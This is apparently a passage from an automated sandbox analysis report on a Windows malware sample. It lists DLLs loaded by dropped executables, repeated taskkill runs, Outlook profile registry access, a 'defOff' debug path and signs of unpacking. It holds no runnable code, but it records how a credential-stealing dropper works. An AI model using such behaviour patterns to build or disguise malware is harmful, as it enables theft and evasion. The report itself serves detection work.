Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Section loaded: mscoree.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1785344 > 1048576

Source: file.exe

Static PE information: Raw size of zqmibjwx is bigger than: 0x100000 < 0x19a000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2608321181.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 34712696d0.exe, 00000031.00000003.3287455620.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, 34712696d0.exe, 00000031.00000002.3290731030.00000000007C2000.00000040.00000001.01000000.00000019.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2608321181.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zqmibjwx:EW;nsixqmkw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zqmibjwx:EW;nsixqmkw:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Unpacked PE file: 20.2.DocumentsJEHJKJEBGH.exe.620000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hrzfzjyg:EW;dakuuilr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hrzfzjyg:EW;dakuuilr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.ad0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hrzfzjyg:EW;dakuuilr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hrzfzjyg:EW;dakuuilr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.ad0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hrzfzjyg:EW;dakuuilr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hrzfzjyg:EW;dakuuilr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Unpacked PE file: 28.2.684030933f.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qlwzmoic:EW;qmvughcn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qlwzmoic:EW;qmvughcn:EW;.taggant:EW;
